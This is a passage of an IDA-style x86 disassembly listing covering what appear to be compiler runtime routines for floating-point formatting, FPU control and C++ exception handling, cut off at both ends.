loc_421639:				; CODE XREF: sub_4215E6+15j
					; sub_4215E6+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42163C:				; CODE XREF: sub_4215E6+41j
					; sub_4215E6+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4215E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421640(double,int)

sub_421640	proc near		; CODE XREF: sub_421294+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427848
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_421660
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4216F6
; ---------------------------------------------------------------------------


loc_421660:				; CODE XREF: sub_421640+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_4216CF
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421678
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_4216CF


loc_421678:				; CODE XREF: sub_421640+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427848
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_421690
		push	1
		pop	eax
		jmp	short loc_421692
; ---------------------------------------------------------------------------


loc_421690:				; CODE XREF: sub_421640+49j
		xor	eax, eax


loc_421692:				; CODE XREF: sub_421640+4Ej
					; sub_421640+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_4216AB
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_4216A5
		or	dword ptr [ebp+arg_0+4], 1


loc_4216A5:				; CODE XREF: sub_421640+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_421692
; ---------------------------------------------------------------------------


loc_4216AB:				; CODE XREF: sub_421640+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_4216B9
		or	byte ptr [ebp+arg_0+7],	80h


loc_4216B9:				; CODE XREF: sub_421640+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_4215BD
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4216F6
; ---------------------------------------------------------------------------


loc_4216CF:				; CODE XREF: sub_421640+28j
					; sub_421640+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_4215BD
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_4216F6:				; CODE XREF: sub_421640+1Bj
					; sub_421640+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_421640	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421701	proc near		; CODE XREF: sub_420FE1+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_421701	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42170F	proc near		; CODE XREF: sub_420FE1+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42170F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42171E	proc near		; CODE XREF: sub_41CDE5+13p
					; sub_41CDE5+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_42171E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421741	proc near		; CODE XREF: sub_421294+1Dp
					; sub_421294+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421758
		fld	tbyte_43AC10
		fistp	[ebp+arg_0]
		wait


loc_421758:				; CODE XREF: sub_421741+Bj
		test	cl, 8
		jz	short loc_42176D
		fstsw	ax
		fld	tbyte_43AC10
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_42176D:				; CODE XREF: sub_421741+1Aj
		test	cl, 10h
		jz	short loc_42177C
		fld	tbyte_43AC1C
		fstp	[ebp+var_8]
		wait


loc_42177C:				; CODE XREF: sub_421741+2Fj
		test	cl, 4
		jz	short loc_42178A
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_42178A:				; CODE XREF: sub_421741+3Ej
		test	cl, 20h
		jz	short locret_421795
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421795:				; CODE XREF: sub_421741+4Cj
		leave
		retn
sub_421741	endp


; =============== S U B	R O U T	I N E =======================================



sub_421797	proc near		; CODE XREF: sub_41CEB4+Fp
		push	30000h
		push	10000h
		call	sub_423F65
		pop	ecx
		pop	ecx
		retn
sub_421797	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217A9	proc near		; CODE XREF: sub_4217E7:loc_42180Bj

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427858
		fstp	[ebp+var_8]
		fld	dbl_427850
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427710
		fnstsw	ax
		sahf
		jbe	short loc_4217E3
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4217E3:				; CODE XREF: sub_4217A9+33j
		xor	eax, eax
		leave
		retn
sub_4217A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4217E7	proc near		; CODE XREF: sub_41CEB4+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 2690000h
		test	eax, eax
		jz	short loc_42180B
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26B03B1h
		test	eax, eax
		jz	short loc_42180B
		push	0
		call	eax ; sub_41CEB4
		retn
; ---------------------------------------------------------------------------


loc_42180B:				; CODE XREF: sub_4217E7+Dj
					; sub_4217E7+1Dj
		jmp	sub_4217A9
sub_4217E7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_421810	proc near		; CODE XREF: sub_41F5D4+3CBp
					; DATA XREF: sub_41CECC+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41DEEC
		cmp	eax, 65h
		pop	ecx
		jz	short loc_421850


loc_421824:				; CODE XREF: sub_421810+3Ej
		inc	esi
		cmp	dword_43A88C, 1
		jle	short loc_42183D
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_42184C
; ---------------------------------------------------------------------------


loc_42183D:				; CODE XREF: sub_421810+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43A680
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42184C:				; CODE XREF: sub_421810+2Bj
		test	eax, eax
		jnz	short loc_421824


loc_421850:				; CODE XREF: sub_421810+12j
		mov	cl, byte_43A890
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_42185B:				; CODE XREF: sub_421810+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_42185B
		pop	esi
		retn
sub_421810	endp


; =============== S U B	R O U T	I N E =======================================



sub_42186A	proc near		; CODE XREF: sub_41F5D4+3E2p
					; DATA XREF: sub_41CECC+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43A890
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421886


loc_42187A:				; CODE XREF: sub_42186A+1Aj
		cmp	cl, dl
		jz	short loc_421886
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_42187A


loc_421886:				; CODE XREF: sub_42186A+Ej
					; sub_42186A+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_4218B7


loc_42188D:				; CODE XREF: sub_42186A+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4218A0
		cmp	cl, 65h
		jz	short loc_4218A0
		cmp	cl, 45h
		jz	short loc_4218A0
		inc	eax
		jmp	short loc_42188D
; ---------------------------------------------------------------------------


loc_4218A0:				; CODE XREF: sub_42186A+27j
					; sub_42186A+2Cj ...
		mov	ecx, eax


loc_4218A2:				; CODE XREF: sub_42186A+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_4218A2
		cmp	[eax], dl
		jnz	short loc_4218AD
		dec	eax


loc_4218AD:				; CODE XREF: sub_42186A+40j
					; sub_42186A+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_4218AD

locret_4218B7:				; CODE XREF: sub_42186A+21j
		retn
sub_42186A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B8	proc near		; DATA XREF: sub_41CECC+28o
					; ___:off_43AC38o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427848
		fnstsw	ax
		sahf
		jb	short loc_4218CD
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4218CD:				; CODE XREF: sub_4218B8+Fj
		xor	eax, eax
		retn
sub_4218B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4218D0	proc near		; CODE XREF: sub_420445+430p
					; DATA XREF: sub_41CECC+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4218F9
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424428
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4218F9:				; CODE XREF: sub_4218D0+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424455
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_4218D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42190E	proc near		; CODE XREF: sub_421B8B+17p
					; sub_421BD5+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4D97AC, 0
		push	ebx
		push	esi
		jz	short loc_421943
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4D97A8
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421C26
		pop	ecx
		pop	ecx
		jmp	short loc_42197B
; ---------------------------------------------------------------------------


loc_421943:				; CODE XREF: sub_42190E+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4244F9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424482
		add	esp, 14h


loc_42197B:				; CODE XREF: sub_42190E+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421987
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_421987:				; CODE XREF: sub_42190E+73j
		test	ebx, ebx
		jle	short loc_42199F
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43A890
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_42199F:				; CODE XREF: sub_42190E+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4D97AC, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41C620
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_4219C6
		mov	byte ptr [ecx],	45h


loc_4219C6:				; CODE XREF: sub_42190E+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421A0B
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_4219DA
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_4219DA:				; CODE XREF: sub_42190E+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_4219F1
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_4219F1:				; CODE XREF: sub_42190E+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421A08
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421A08:				; CODE XREF: sub_42190E+E7j
		add	[ecx+1], bl


loc_421A0B:				; CODE XREF: sub_42190E+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42190E	endp


; =============== S U B	R O U T	I N E =======================================



sub_421A12	proc near		; CODE XREF: sub_421BB2+13p
					; sub_421BD5+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4D97AC, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421A4D
		mov	eax, dword_4D97B0
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4D97A8
		cmp	eax, ebx
		jnz	short loc_421A7D
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421A7D
; ---------------------------------------------------------------------------


loc_421A4D:				; CODE XREF: sub_421A12+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4244F9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424482
		add	esp, 14h


loc_421A7D:				; CODE XREF: sub_421A12+22j
					; sub_421A12+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421A8B
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_421A8B:				; CODE XREF: sub_421A12+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_421AA2
		push	1
		push	edi
		call	sub_421C26
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421AA4
; ---------------------------------------------------------------------------


loc_421AA2:				; CODE XREF: sub_421A12+7Ej
		add	edi, eax


loc_421AA4:				; CODE XREF: sub_421A12+8Ej
		test	ebx, ebx
		jle	short loc_421AE9
		push	1
		push	edi
		call	sub_421C26
		mov	al, byte_43A890
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421AE9
		cmp	byte_4D97AC, 0
		jz	short loc_421ACE
		neg	esi
		jmp	short loc_421AD4
; ---------------------------------------------------------------------------


loc_421ACE:				; CODE XREF: sub_421A12+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421AD6


loc_421AD4:				; CODE XREF: sub_421A12+BAj
		mov	ebx, esi


loc_421AD6:				; CODE XREF: sub_421A12+C0j
		push	ebx
		push	edi
		call	sub_421C26
		push	ebx
		push	30h
		push	edi
		call	sub_41BD10
		add	esp, 14h


loc_421AE9:				; CODE XREF: sub_421A12+94j
					; sub_421A12+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_421A12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421AF0	proc near		; CODE XREF: sub_421BD5+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4244F9
		mov	dword_4D97A8, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4D97B0, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424482
		mov	eax, dword_4D97A8
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4D97B0, ecx
		setl	cl
		mov	byte_4D97B4, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4D97B0, eax
		jl	short loc_421B76
		cmp	eax, ebx
		jge	short loc_421B76
		test	cl, cl
		jz	short loc_421B67


loc_421B5D:				; CODE XREF: sub_421AF0+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421B5D
		and	[esi-2], al


loc_421B67:				; CODE XREF: sub_421AF0+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421BB2
		add	esp, 0Ch
		jmp	short loc_421B86
; ---------------------------------------------------------------------------


loc_421B76:				; CODE XREF: sub_421AF0+63j
					; sub_421AF0+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421B8B
		add	esp, 10h


loc_421B86:				; CODE XREF: sub_421AF0+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421AF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421B8B	proc near		; CODE XREF: sub_421AF0+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4D97AC, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_42190E
		and	byte_4D97AC, 0
		add	esp, 10h
		retn
sub_421B8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_421BB2	proc near		; CODE XREF: sub_421AF0+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4D97AC, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421A12
		and	byte_4D97AC, 0
		add	esp, 0Ch
		retn
sub_421BB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BD5	proc near		; CODE XREF: sub_41F5D4+3AAp
					; DATA XREF: sub_41CECCo ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421C10
		cmp	[ebp+arg_8], 45h
		jz	short loc_421C10
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421BFD
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421A12
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421BFD:				; CODE XREF: sub_421BD5+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421AF0
		jmp	short loc_421C21
; ---------------------------------------------------------------------------


loc_421C10:				; CODE XREF: sub_421BD5+7j
					; sub_421BD5+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42190E


loc_421C21:				; CODE XREF: sub_421BD5+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421BD5	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C26	proc near		; CODE XREF: sub_42190E+2Cp
					; sub_421A12+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421C49
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41B960
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41D400
		add	esp, 10h
		pop	esi


loc_421C49:				; CODE XREF: sub_421C26+7j
		pop	edi
		retn
sub_421C26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421C4B	proc near		; CODE XREF: ___:0041D0ACp
					; sub_41D115+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421C61
		call	sub_4224F2


loc_421C61:				; CODE XREF: sub_421C4B+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421C89
		cmp	dword ptr [esi+4], 0
		jz	short loc_421CDF
		cmp	[ebp+arg_14], 0
		jnz	short loc_421CDF
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_421F92
		add	esp, 10h
		jmp	short loc_421CDF
; ---------------------------------------------------------------------------


loc_421C89:				; CODE XREF: sub_421C4B+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421CDF
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421CC3
		cmp	[eax+14h], edi
		jbe	short loc_421CC3
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421CC3
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421CE2
; ---------------------------------------------------------------------------


loc_421CC3:				; CODE XREF: sub_421C4B+4Aj
					; sub_421C4B+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421CE6
		add	esp, 20h


loc_421CDF:				; CODE XREF: sub_421C4B+23j
					; sub_421C4B+29j ...
		push	1
		pop	eax


loc_421CE2:				; CODE XREF: sub_421C4B+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421C4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CE6	proc near		; CODE XREF: sub_421C4B+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421D06
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421D0B


loc_421D06:				; CODE XREF: sub_421CE6+16j
		call	sub_4224F2


loc_421D0B:				; CODE XREF: sub_421CE6+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421E62
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421D7F
		cmp	[esi+14h], edi
		jnz	short loc_421D7F
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421D7F
		mov	esi, dword_4D97B8
		test	esi, esi
		jz	loc_421E5D
		mov	eax, dword_4D97BC
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424680
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421D61
		call	sub_4224F2


loc_421D61:				; CODE XREF: sub_421CE6+74j
		cmp	[esi], ebx
		jnz	loc_421E62
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421D7F
		cmp	[esi+14h], edi
		jnz	short loc_421D7F
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421D7F
		call	sub_4224F2


loc_421D7F:				; CODE XREF: sub_421CE6+41j
					; sub_421CE6+46j ...
		cmp	[esi], ebx
		jnz	loc_421E62
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421E62
		cmp	[esi+14h], edi
		jnz	loc_421E62
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D263
		add	esp, 14h
		mov	ebx, eax


loc_421DB6:				; CODE XREF: sub_421CE6+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421E4D
		cmp	[ebx], edi
		jg	short loc_421E42
		cmp	edi, [ebx+4]
		jg	short loc_421E42
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421E3F


loc_421DDB:				; CODE XREF: sub_421CE6+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421E0C


loc_421DED:				; CODE XREF: sub_421CE6+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_421F35
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421E1B
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421DED


loc_421E0C:				; CODE XREF: sub_421CE6+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421DDB
		jmp	short loc_421E3F
; ---------------------------------------------------------------------------


loc_421E1B:				; CODE XREF: sub_421CE6+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422046
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421E3F:				; CODE XREF: sub_421CE6+F3j
					; sub_421CE6+133j
		mov	edi, [ebp+var_10]


loc_421E42:				; CODE XREF: sub_421CE6+DEj
					; sub_421CE6+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421DB6
; ---------------------------------------------------------------------------


loc_421E4D:				; CODE XREF: sub_421CE6+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421E5D
		push	1
		push	esi
		call	sub_4223BB
		pop	ecx
		pop	ecx


